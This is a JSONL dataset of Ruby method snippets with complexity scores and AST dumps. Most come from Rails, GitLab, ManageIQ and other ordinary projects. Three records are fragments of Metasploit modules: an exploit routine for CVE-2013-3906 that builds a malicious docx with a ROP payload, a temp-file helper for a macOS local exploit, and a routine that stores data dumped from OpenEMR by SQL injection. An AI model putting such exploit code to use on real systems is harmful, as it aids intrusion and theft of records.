{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/arguments_forwarding.rb","start_line":438,"raw_source":"def forwarded_block_arg\n            return nil if referenced_block_arg?\n\n            arguments.find { |arg| forwarded_block_arg?(arg, @block_arg_name) }\n          end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"forwarded_block_arg\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"referenced_block_arg?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arguments\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"send\",\"children\":[null,\"forwarded_block_arg?\",{\"type\":\"lvar\",\"children\":[\"arg\"]},{\"type\":\"ivar\",\"children\":[\"@block_arg_name\"]}]}]}]}]}","id":"8ec8b786-cb5d-4e24-a2e0-a76bc323577d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/remote_mirror.rb","start_line":90,"raw_source":"def update_in_progress?\n    update_status == 'started'\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_in_progress?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_status\"]},\"==\",{\"type\":\"str\",\"children\":[\"started\"]}]}]}","id":"0b224674-5d0b-46e3-a845-d5bb6b9032cc"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper/form_with_test.rb","start_line":2449,"raw_source":"def test_form_with_with_default_method_as_patch\n    form_with(model: @post) { }\n    expected = whole_form(\"/posts/123\", method: \"patch\")\n    assert_dom_equal expected, @rendered\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_form_with_with_default_method_as_patch\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"form_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"ivar\",\"children\":[\"@post\"]}]}]}]},{\"type\":\"args\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[null,\"whole_form\",{\"type\":\"str\",\"children\":[\"/posts/123\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"patch\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"ivar\",\"children\":[\"@rendered\"]}]}]}]}","id":"8362e897-6ef9-47f8-8382-ecd96b65b986"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/test_helper_test.rb","start_line":1163,"raw_source":"def test_assert_no_performed_jobs_failure\n      error = assert_raise ActiveSupport::TestCase::Assertion do\n        assert_no_performed_jobs do\n          HelloJob.perform_later(\"jeremy\")\n        end\n      end\n\n      assert_match(/0 .* but 1/, error.message)\n    end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_assert_no_performed_jobs_failure\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TestCase\"]},\"Assertion\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_performed_jobs\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HelloJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"jeremy\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"0 .* but 1\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"message\"]}]}]}]}","id":"45545454-6310-4bc5-91a6-2f1869ff4b27"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/security_policy_rule.rb","start_line":33,"raw_source":"def update_security_policy_rule_queue(userid, options = {})\n    task_opts = {\n      :action => \"updating Security Policy Rule for user #{userid}\",\n      :userid => userid\n    }\n    queue_opts = {\n      :class_name  => self.class.name,\n      :method_name => 'update_security_policy_rule',\n      :instance_id => id,\n      :priority    => MiqQueue::NORMAL_PRIORITY,\n      :role        => 'ems_operations',\n      :zone        => ext_management_system.my_zone,\n      :args        => [options]\n    }\n    MiqTask.generic_action_with_callback(task_opts, queue_opts)\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"update_security_policy_rule_queue\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"userid\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"task_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"updating Security Policy Rule for user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"userid\"]},{\"type\":\"lvar\",\"children\":[\"userid\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"queue_opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method_name\"]},{\"type\":\"str\",\"children\":[\"update_security_policy_rule\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"instance_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"priority\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqQueue\"]},\"NORMAL_PRIORITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"ems_operations\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ext_management_system\"]},\"my_zone\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqTask\"]},\"generic_action_with_callback\",{\"type\":\"lvar\",\"children\":[\"task_opts\"]},{\"type\":\"lvar\",\"children\":[\"queue_opts\"]}]}]}]}","id":"168fac15-7f75-4e80-bd17-4afd571f6e11"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb","start_line":857,"raw_source":"def exploit\n    @rop_payload = get_rop_payload\n    @schema = \"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\n    path = File.join(Msf::Config.data_directory, \"exploits\", \"CVE-2013-3906\")\n    docx = make_docx(path)\n    file_create(docx)\n  end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@rop_payload\",{\"type\":\"send\",\"children\":[null,\"get_rop_payload\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@schema\",{\"type\":\"str\",\"children\":[\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"exploits\"]},{\"type\":\"str\",\"children\":[\"CVE-2013-3906\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"docx\",{\"type\":\"send\",\"children\":[null,\"make_docx\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"file_create\",{\"type\":\"lvar\",\"children\":[\"docx\"]}]}]}]}","id":"e19e1061-a198-4bc1-abab-b5a630513a10"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/gitlab_integration/lib/open_project/gitlab_integration/services/upsert_merge_request.rb","start_line":81,"raw_source":"def gitlab_user_id(payload)\n          return if payload.blank?\n\n          ::OpenProject::GitlabIntegration::Services::UpsertGitlabUser.new.call(payload)\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"gitlab_user_id\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"OpenProject\"]},\"GitlabIntegration\"]},\"Services\"]},\"UpsertGitlabUser\"]},\"new\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}","id":"5e040b76-47df-469d-ad76-3cde74382618"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/application/test_runner_test.rb","start_line":964,"raw_source":"def test_run_in_parallel_with_threads\n      exercise_parallelization_regardless_of_machine_core_count(with: :threads, transactional_fixtures: false)\n\n      file_name = create_parallel_threads_test_file\n\n      app_file \"db/schema.rb\", <<-RUBY\n        ActiveRecord::Schema.define(version: 1) do\n          create_table :users do |t|\n            t.string :name\n          end\n        end\n      RUBY\n\n      output = run_test_command(file_name, allow_failure: false)\n\n      assert_match(/Finished in.*2 runs, 2 assertions, 0 failures, 0 errors, 0 skips/m, output)\n      assert_no_match \"create_table(:users)\", output\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_run_in_parallel_with_threads\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exercise_parallelization_regardless_of_machine_core_count\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"sym\",\"children\":[\"threads\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"transactional_fixtures\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"send\",\"children\":[null,\"create_parallel_threads_test_file\"]}]},{\"type\":\"send\",\"children\":[null,\"app_file\",{\"type\":\"str\",\"children\":[\"db/schema.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        ActiveRecord::Schema.define(version: 1) do\\n\"]},{\"type\":\"str\",\"children\":[\"          create_table :users do |t|\\n\"]},{\"type\":\"str\",\"children\":[\"            t.string :name\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"output\",{\"type\":\"send\",\"children\":[null,\"run_test_command\",{\"type\":\"lvar\",\"children\":[\"file_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_failure\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Finished in.*2 runs, 2 assertions, 0 failures, 0 errors, 0 skips\"]},{\"type\":\"regopt\",\"children\":[\"m\"]}]},{\"type\":\"lvar\",\"children\":[\"output\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"str\",\"children\":[\"create_table(:users)\"]},{\"type\":\"lvar\",\"children\":[\"output\"]}]}]}]}","id":"40072f36-5a12-47c5-a6d5-92d768eb81ce"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/component.rb","start_line":43,"raw_source":"def identity\n      @@identity ||= \"#{hostname}:#{::Process.pid}:#{process_nonce}\"\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"identity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"cvasgn\",\"children\":[\"@@identity\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hostname\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Process\"]},\"pid\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_nonce\"]}]}]}]}]}","id":"3b06e7aa-d6b9-41fa-8a92-cb4c49fbe9c3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/mappings/graphql_base_type_mappings.rb","start_line":49,"raw_source":"def filter_files\n        changed_files.select do |filename|\n          filename.start_with?(*GRAPHQL_TYPES_FOLDERS.values.flatten.uniq) &&\n            filename.end_with?('.rb') &&\n            File.exist?(filename)\n        end\n      end","complexity_score":14.1,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_files\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changed_files\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"start_with?\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GRAPHQL_TYPES_FOLDERS\"]},\"values\"]},\"flatten\"]},\"uniq\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\".rb\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]}","id":"daf7e3a6-ae64-4dfc-bff1-05d41930b2af"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/osx/local/tpwn.rb","start_line":111,"raw_source":"def exploit_file\n    @exploit_file ||=\n      \"#{base_dir}/#{Rex::Text.rand_text_alpha(8)}\"\n  end","complexity_score":3.3,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@exploit_file\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_dir\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[8]}]}]}]}]}]}","id":"0e300210-a0ea-47d5-a82b-536984dbb341"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/sqli/openemr/openemr_sqli_dump.rb","start_line":99,"raw_source":"def save_csv(data, table)\n    # Use the same gsub pattern as store_loot\n    # this will put the first 8 safe characters of the tablename\n    # in the filename in the loot directory\n    safe_table = table.gsub(/[^a-z0-9._]+/i, '')\n    store_loot(\n      \"openemr.#{safe_table}.dump\",\n      'application/CSV',\n      rhost,\n      data.map(&:to_csv).join,\n      \"#{safe_table}.csv\"\n    )\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"save_csv\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"data\"]},{\"type\":\"arg\",\"children\":[\"table\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"safe_table\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^a-z0-9._]+\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"openemr.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"safe_table\"]}]},{\"type\":\"str\",\"children\":[\".dump\"]}]},{\"type\":\"str\",\"children\":[\"application/CSV\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_csv\"]}]}]},\"join\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"safe_table\"]}]},{\"type\":\"str\",\"children\":[\".csv\"]}]}]}]}]}","id":"8c388e2d-6197-4a30-a546-791643f802e9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/error_tracking/context_payload_generator.rb","start_line":29,"raw_source":"def sanitize_request_parameters(parameters)\n        filter = ActiveSupport::ParameterFilter.new(::Rails.application.config.filter_parameters)\n        filter.filter(parameters)\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sanitize_request_parameters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"parameters\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"filter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"ParameterFilter\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rails\"]},\"application\"]},\"config\"]},\"filter_parameters\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filter\"]},\"filter\",{\"type\":\"lvar\",\"children\":[\"parameters\"]}]}]}]}","id":"77ff2829-e6e2-4a43-b699-deb8b1f65d8f"}
{"repo_name":"tty","file_path":"./repos/tty/lib/tty/commands/new.rb","start_line":69,"raw_source":"def underscored_name\n        app_name.tr(\"-\", \"_\")\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"underscored_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app_name\"]},\"tr\",{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"str\",\"children\":[\"_\"]}]}]}","id":"eda029c8-0590-4943-9285-988cf9898827"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":1259,"raw_source":"def test_all_there\n    self.class.fixture_paths = [FIXTURES_ROOT + \"/all\"]\n    self.class.fixtures :all\n\n    if File.symlink? FIXTURES_ROOT + \"/all/admin\"\n      assert_equal %w(admin/accounts admin/users developers namespaced/accounts people tasks), fixture_table_names.sort\n    end\n  ensure\n    ActiveRecord::FixtureSet.reset_cache\n  end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_all_there\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"fixture_paths=\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FIXTURES_ROOT\"]},\"+\",{\"type\":\"str\",\"children\":[\"/all\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"fixtures\",{\"type\":\"sym\",\"children\":[\"all\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"symlink?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FIXTURES_ROOT\"]},\"+\",{\"type\":\"str\",\"children\":[\"/all/admin\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"admin/accounts\"]},{\"type\":\"str\",\"children\":[\"admin/users\"]},{\"type\":\"str\",\"children\":[\"developers\"]},{\"type\":\"str\",\"children\":[\"namespaced/accounts\"]},{\"type\":\"str\",\"children\":[\"people\"]},{\"type\":\"str\",\"children\":[\"tasks\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fixture_table_names\"]},\"sort\"]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"FixtureSet\"]},\"reset_cache\"]}]}]}","id":"e94cbe88-bb00-44c6-8505-f53bf36bb98f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/ci/job_token/jwt.rb","start_line":77,"raw_source":"def expire_time(job)\n          ttl = [::JSONWebToken::Token::DEFAULT_EXPIRE_TIME, job.timeout_value.to_i].max\n          Time.current + ttl + LEEWAY\n        end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"expire_time\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ttl\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"JSONWebToken\"]},\"Token\"]},\"DEFAULT_EXPIRE_TIME\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"timeout_value\"]},\"to_i\"]}]},\"max\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"ttl\"]}]},\"+\",{\"type\":\"const\",\"children\":[null,\"LEEWAY\"]}]}]}]}","id":"ec73d2cb-f87d-4a31-b113-93be0bae62ee"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/core/http_client.rb","start_line":8,"raw_source":"def request(url, method, payload: nil, headers: {}, options: {})\n          config  = options[:config]  || {}\n          params  = options[:params]  || {}\n          uri = URI(url)\n\n          if params && !params.empty?\n            query = URI.encode_www_form(params)\n            uri.query = [uri.query, query].compact.join(\"&\")\n          end\n\n          http = configure_http(uri, config)\n          request = build_request(method, uri, payload, headers)\n          http.request(request)\n        end","complexity_score":25.4,"ast_json":"{\"type\":\"def\",\"children\":[\"request\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]},{\"type\":\"arg\",\"children\":[\"method\"]},{\"type\":\"kwoptarg\",\"children\":[\"payload\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"headers\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"config\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"params\"]}]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"URI\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"encode_www_form\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"query=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"query\"]},{\"type\":\"lvar\",\"children\":[\"query\"]}]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\"&\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"http\",{\"type\":\"send\",\"children\":[null,\"configure_http\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[null,\"build_request\",{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"http\"]},\"request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]}]}","id":"f7dc2391-5d1e-469b-a298-7ddf361f1608"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_expression.rb","start_line":1348,"raw_source":"def self._quick_search?(e)\n    case e\n    when Array\n      e.any? { |e_exp| _quick_search?(e_exp) }\n    when Hash\n      return true if e[\"value\"] == :user_input\n\n      e.values.any? { |e_exp| _quick_search?(e_exp) }\n    else\n      false\n    end\n  end","complexity_score":15.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"_quick_search?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e_exp\"]}]},{\"type\":\"send\",\"children\":[null,\"_quick_search?\",{\"type\":\"lvar\",\"children\":[\"e_exp\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]},\"==\",{\"type\":\"sym\",\"children\":[\"user_input\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"values\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e_exp\"]}]},{\"type\":\"send\",\"children\":[null,\"